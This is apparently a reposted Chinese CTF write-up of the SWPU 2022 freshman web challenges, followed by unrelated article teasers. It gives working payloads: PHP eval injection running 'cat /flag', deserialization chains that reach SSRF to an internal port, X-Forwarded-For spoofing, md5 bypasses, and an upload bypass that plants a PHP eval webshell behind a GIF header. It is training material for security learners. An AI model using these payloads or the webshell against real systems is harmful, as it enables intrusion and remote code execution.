SWPU 2022 新生赛

webdog1__start

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) 

md5 自等

web=0e215962017 (md5后也是 0e)

登入后得到提示,robots.txt

访问 f14g.php

返回包里发现 hint

==>

if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}
strstr 是 PHP 中的一个字符串处理函数,用于查找字符串中首次出现某个子字符串的位置,并返回从该子字符串开始到字符串末尾的部分。如果未找到子字符串,则返回 false

不能有空格,flag,长度不大于 18

?get=system(phpinfo());
?get=system(ls);
?get=system(%27nl%09/*%27);				//%27不能掉

%09 为制表符

其他姿势1

嵌套 eval()
既然 get 参数的值存在限制,那么我们可以将 get 的值设置为 eval($_GET[‘?’]); (理论上,? 可以表示任何文本)来接收另一个参数名为 ? 的值并将其作为 PHP 代码执行。这样,判断语句将检查 get 参数,而实际起破坏作用的代码却被我们转移到了另一个参数 ? 中。对此,构造如下查询字符串:

原文链接:https://blog.csdn.net/qq_44879989/article/details/131429635

?get=eval($_GET['x']);&x=system('cat /flag');

其他姿势2

由于 flag 被替换为空格,所以可以使用 flag 当空格用

?get=system('catflag/*')

读到 flag.php 后查看源码,得到 /flag

跳板命令绕过,借力打力

ez_ez_php

//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

增加属性值绕过 wakeup

O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

js_sign

开发者工具的 source 一栏里找到 man.js

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"if (btoa(flag.value) == 'dGFwY29kZQ==') {alert("you got hint!!!");} else {alert("fuck off !!");}    
})

dGFwY29kZQ==

解码 ==> tapcode

搜一下这个 tapcode

==>

滴答码,有时也称为敲击码,是一种以非常简单的方式逐字母编码文本消息的方法。消息通过一系列敲击声来传输,因此得名。 [1]

搜在线网站解码,但格式有问题,试着将上面的数字全部分隔开然后敲击,有意外的发现

[滴答码][https://cryptii.com/pipes/tap-code]

编写python脚本自动化打点

import reflag = "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
patter = re.compile(r'\d')
num = re.findall(patter, flag)
for i in num:print(int(i)*".",end=' ')

exp

... ... .... ... .... ... . ... .... .... .. . ..... .... ... .... .... ..... .. . .. .... ... ... . .... .. . ... . . . .. .. . .. ..... .... .... .... . . ... ..... . ... ... .... . .... . ..... 

==>

nssctfyoufindflagbytapcode

==>

NSSCTF{youfindflagbytapcode}

xff

我是本地人

Must be jump from Home Page.

Must be accessed from Xiaohong’s own computer.

抓包添加 header

X-Forwarded-For:127.0.0.1
Referer:127.0.0.1

XFF:告诉服务器当前请求者的最终IP。在一些情况下,攻击者可能会尝试伪造X-Forwarded-For字段来隐藏其真实IP地址,因此在使用XFF时需要谨慎验证其真实性。

Referer:它的作用是指示一个请求是从哪里链接过来,那么当一个请求并不是由链接触发产生的,那么自然也就不需要指定这个请求的链接来源。

funny_php

<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}
  • 科学计数法绕过
  • 双写绕过
  • md5绕过

exp

?num=1e9&str=NSSNSSCTFCTFPOST
md5_1=s878926199a&md5_2=s214587387a

ez_ez_unserialize

<?php
class X
{public $x = __FILE__;function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}

简单绕过一下 wakep 即可

<?php
class X
{public $x = __FILE__;
}
$x = new x();
$x -> x = "fllllllag.php";
//echo serialize($x);
$exp ='O:1:"X":4:{s:1:"x";s:13:"fllllllag.php";}';
echo urldecode($exp);
//O:1:"X":3:{s:1:"x";s:13:"fllllllag.php";}

Power!

随便测试一下

?image_path=1

file_get_contents(1): failed to open stream: No such file or directory in /var/www/html/index.php on line 66

php://filter/read=convert.base64-encode/resource=flag.php    
php:    被过滤

再尝试一下其他的

直接 ?image_path=flag.php

看到一个未加载的图片,查看源码有一个 base64 的 source

<?php$a = "good job,but there is no flagi put my flag in intranet(127.0.0.1:65500)outsider have no permissions to get itif you want it,then you have to take itbut you already knew the rulestry it";?>

intranet:局域网

这里有点模糊,直接读一下 index.php

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?>

其实还有 file 伪协议未被过滤

反序列化+SSRF,启动!

注意程序在 unserialize 之后会调用 $FV->loadfile();, 如果 $FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行

解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

简单讲就是 class1(class2) 进行反序列化时,会先从 class2 开始反序列化

FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()

//flag in /flag.php

exp

<?php
class FileViewer{public $black_list = "sb";public $local;public $path='flag.php';
}
class Backdoor{public $a;public $b='local';public $superhacker = "127.0.0.1:65500/";
}$fileviewer = new FileViewer();
$backdoor = new Backdoor();$backdoor -> a = $fileviewer;
$sm = new FileViewer();   #避免报错
$sm -> local = $backdoor;echo serialize($sm);      #塞了一个,Backdoor类,在内部进行反序列化触发文件curl
echo PHP_EOL;
//echo base64_encode('O:10:"FileViewer":3:{s:10:"black_list";s:2:"sb";s:5:"local";O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":6:{s:10:"black_list";s:2:"sb";s:5:"local";N;s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:16:"127.0.0.1:65500/";}s:4:"path";s:8:"flag.php";}');
echo base64_encode(serialize($sm));
?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoyOiJzYiI7czo1OiJsb2NhbCI7Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjI6InNiIjtzOjU6ImxvY2FsIjtOO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTY6IjEyNy4wLjAuMTo2NTUwMC8iO31zOjQ6InBhdGgiO3M6ODoiZmxhZy5waHAiO30=?ptah_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czo1OiJsb2NhbCI7czowOiIiO3M6NDoicGF0aCI7TjtzOjQ6InRleHQiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Njp7czo1OiJsb2NhbCI7czoyMjoiaHR0cDovLzEyNy4wLjAuMTo2NTUwMCI7czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9czoxOiJiIjtOO3M6MTE6InN1cGVyaGFja2VyIjtzOjEwOiJoYWNrZXIuanBnIjt9fQ

我本来也是直接让Backdoor直接包含FileViewer,但是不可以。为什么呢。

$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

当我们的反序列化正在执行的时候,会同时执行 F V − > l o a d f i l e ( ) ; 这个语句,但是 FV->loadfile();这个语句,但是 FV>loadfile();这个语句,但是FV是Backdoor的对象,根本没有这个方法,所以会报错。那么就要让$FV是FileViewer的对象。

我们又知道,反序列化是从最里面开始反序列化的。比如,类1包含类2,那么他会先反序列化类2,再类1.

于是我们是FileViewer包含(Backdoor包含(FileViewer))。

为什么这里不需要绕过 wakeup() ?

我的类结构 --》 Fileview(Backdoor(Fileview))

目的是调用最内层的 Fileview 进行文件读取,当最内层的 Fileview local 被 wakeup 覆盖后,外层 Backdoor 反序列会将其覆盖回来。

内部类属性数量不一致,直接把内部类当垃圾回收,外部类。
外部类属性数量不一致,外部类直接被当成垃圾回收,而内部类正常。

1z_unserialize

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct(){$a = $this->lt;$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?> 

exp

class lyh
{public $url = 'NSSCTF.com';public $lt;public $lly;
}$lyh = new lyh();
$lyh -> lt = "eval";
$lyh -> lly = "phpinfo()";
echo serialize($lyh);
nss=O:3:"lyh":5:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

file_master

查询文件功能报错

Warning: file_get_contents(): remote host file access not supported, file://index.php in /var/www/html/index.php on line 24

Warning: file_get_contents(file://index.php): failed to open stream: no suitable wrapper could be found in /var/www/html/index.php on line 24

直接查询 index.php

<?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';

试一下直接读取 flag,失败

先尝试文件上传

提取出信息

1.文件类型必须是image/jpeg

2.要有文件头(测试不添加也行)

3.宽高要小于20

4.文件路径为upload/your_sessionid/your_filename

5.文件内容不能含有php

1,2要求略过

3.要在文件中添加

#define height 1
#define width 1 

4.sessionid在抓包时可以得到在Cookie: PHPSESSID=这里

5.利用短标签

<?= `nl /*`意思是把所有文件都打印出来,但是在这里测试不行,应该是权限不够 尝试传木马 ``` <?= @eval($_POST['a']); ``` 看了一下,他是只检测了文件类型(使用白名单),但未检测文件后缀,所以直接传 .php 后缀即可 exp ``` Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741614396,1741654878,1741864241,1741929342; HMACCOUNT=6FE6E841CEA52014; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741950036; PHPSESSID=cv71nj28p9vi0li6ueqpdkjhs9 Connection: keep-alive ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg #define height 1 #define width 1 GIF89a <?= @eval($_POST['a']); ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="submit" ``` upload/cv71nj28p9vi0li6ueqpdkjhs9/shell.php 成功 但读取时会报一些权限错误,连接蚁剑进入终端,读取得到 flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/72318.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是 Redis

Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的、基于内存的键值存储系统&#xff0c;常用作数据库、缓存和消息中间件。它支持多种数据结构&#xff0c;如字符串、哈希、列表、集合、有序集合等&#xff0c;并提供丰富的操作命令。 主要特点 高性能&am…

海数通-海员数字化管理平台(企业数字化)

产品介绍 海数通产品是一套海员数字化管理平台&#xff0c;为企业提供海员档案、海历、动态、证书、培训、晋升、薪资、社险等全流程多维度的智能化管理能力。薪资计算模型和社险计算模型能够自动并准确的完成复杂的工资、社险计算工作&#xff0c;极大的提高工作效率和准确性…

如何处理PHP中的日期和时间问题

如何处理PHP中的日期和时间问题 在PHP开发中&#xff0c;日期和时间的处理是一个常见且重要的任务。无论是记录用户操作时间、生成时间戳&#xff0c;还是进行日期计算&#xff0c;PHP提供了丰富的函数和类来帮助开发者高效处理这些需求。本文将详细介绍如何在PHP中处理日期和…

【SpringMVC】入门版

1.基本概念 1.1三层架构 三层架构也就是我们常说的b/s架构中的表现层&#xff0c;业务层和持久层,每层都各司其职&#xff0c;下面来分别讲解这三层的作用。 表现层&#xff1a; 也就是我们常说的web层。它负责接收客户端的请求&#xff0c;向客户端响应结果&#xff0c;通…

【Java进阶学习 第八篇】石头迷阵游戏

绘制页面 首先绘制指定宽和高的窗体 JFrame frame new JFrame();frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);frame.setSize(514,595);frame.setTitle("石头迷阵单机版v1.0");//想让游戏一直在屏幕的最上层frame.setAlwaysOnTop(true);//想让窗…

wireguard搭配udp2raw部署内网

前言 上一篇写了使用 wireguard 可以非常轻松的进行组网部署&#xff0c;但是如果服务器厂商屏蔽了 udp 端口&#xff0c;那就没法了 针对 udp 被服务器厂商屏蔽的情况&#xff0c;需要使用一款 udp2raw 或 socat 类似的工具&#xff0c;来将 udp 打包成 tcp 进行通信 这里以…

Node.js REPL 深入解析

Node.js REPL 深入解析 引言 Node.js 作为一种流行的 JavaScript 运行环境,在服务器端开发中扮演着重要角色。REPL(Read-Eval-Print Loop,读取-求值-打印循环)是 Node.js 的一个核心特性,它允许开发者在一个交互式环境中执行 JavaScript 代码。本文将深入探讨 Node.js R…

系统可观测性(5)OpenTelemetry基础使用

系统可观测性(5)OpenTelemetry基础概念 Author: Once Day Date: 2025年3月12日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 本文档翻译整理自《OpenTelemetry Docs》&a…

AVL树的平衡算法的简化问题

AVL树是一种紧凑的二叉查找树。它的每个结点&#xff0c;都有左右子树高度相等&#xff0c;或者只相差1这样的特性。文章https://blog.csdn.net/aaasssdddd96/article/details/106291144给出了一个例子。 为了便于讨论&#xff0c;这里对AVL树的结点平衡情况定义2个名称&#…

Jenkins 集成DingDing 推送

现状分析 开发频繁发布代码&#xff0c;和测试没有及时沟通&#xff0c;导致测试返工、bug漏测等 解决方案 Jenkins 集成DingDing机器人&#xff0c;在构建时触发推送 DingDing端机器人配置 1、在钉钉电脑端建立群聊 2、点击群右上角设置&#xff0c;点击【智能群助手】 …

【Quarkus】通过Quarkus集成后端服务示例

说明&#xff1a; REST资源接口&#xff08;AuthResource&#xff09;。REST资源实现类&#xff08;AuthResourceImpl&#xff09;。服务接口&#xff08;AuthService&#xff09;。服务实现类&#xff08;AuthServiceImpl&#xff09;。配置文件&#xff08;application.prop…

硬件驱动——51单片机:独立按键、中断、定时器/计数器

目录 一、独立按键 1.原理 2.封装函数 3.按键控制点灯 数码管 二、中断 1.原理 2.步骤 3.中断寄存器IE 4.控制寄存器TCON 5.打开外部中断0和1 三、定时器/计数器 1.原理 2.控制寄存器TCON 3.工作模式寄存器TMOD 4.按键控制频率的动态闪烁 一、独立按键 1…

基于PMU的14节点、30节点电力系统状态估计MATLAB程序

“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 程序简介&#xff1a; 程序采用三种方法对14节点和30节点电力系统状态进行评估&#xff1a; ①PMU同步向量测量单元结合加权最小二乘法&#xff08;WLS&#xff09;分析电力系统的电压幅值和相角状态&#xff1b; …

Apifox Helper 自动生成API接口文档

在我们开发过程中我们在编写请求地址和编写请求参数的时候特别花费时间耗费了我们很多时间&#xff0c;作为一个程序员&#xff0c;更应该把精力时间集中在开发上&#xff0c; Apifox Helper 是 Apifox 团队针对 IntelliJ IDEA 环境所推出的插件&#xff0c;可以在 IDEA 环境中…

Python 3.13实现数据未来预测功能(详细功能实现及环境搭建)

目录 摘要 1. 导入所需库 2. 加载和查看数据 3. 数据预处理 4. 拆分数据集 5. 模型训练 6. 模型评估 7. 进行预测 结论 摘要 本文将引导您使用Python 3.13实现数据预测功能。我们将使用常用的Python库, 如pandas、numpy和sklearn&#xff0c;来帮助读者快速搭建一个简…

基于Redis实现限流的几种方式

限流尽可能在满足需求的情况下越简单越好&#xff01; 分布式限流是指在分布式系统中对请求进行限制&#xff0c;以防止系统过载或滥用资源。以下是常见的分布式限流策略及其实现方式&#xff1a; 1、基于 Redis 的固定窗口限流 原理&#xff1a; 设定一个时间窗口&#xff0…

【前端文件下载实现:多种表格导出方案的技术解析】

前端文件下载实现&#xff1a;多种表格导出方案的技术解析 背景介绍 在企业级应用中&#xff0c;数据导出是一个常见需求&#xff0c;特别是表格数据的导出。在我们的管理系统中&#xff0c;不仅需要支持用户数据的Excel导出&#xff0c;还需要处理多种格式的表格文件下载&am…

堆概念和结构

1. 二叉树的顺序结构 普通的二叉树是不适合用数组来存储的&#xff0c;因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结构存储。现实中通常 把堆使用顺序结构的数组来存储 &#xff0c;需要注意的是这里的堆和操作系统虚拟进程地址空间中的堆是两回事&#xff0c…

VUE的脚手架搭建引入类库

VUE的小白脚手架搭建 真的好久好久自己没有发布自己博客了,对于一直在做后端开发的我 ,由于社会卷啊卷只好学习下怎么搭建前端,一起学习成长吧~哈哈哈(最终目的,能够懂并简易开发) 文章目录 VUE的小白脚手架搭建1.下载node.js2.安装vue脚手架3.创建一个项目4.代码规范约束配置(…

使用 Arduino 和 ThingSpeak 通过互联网进行实时温度和湿度监测

使用 ThingSpeak 和 Arduino 通过 Internet 进行温度和湿度监控 湿度和温度是许多地方(如农场、温室、医疗、工业家庭和办公室)非常常见的测量参数。我们已经介绍了使用 Arduino 进行湿度和温度测量,并在 LCD 上显示数据。 在这个物联网项目中,我们将使用ThingSpeak在互联…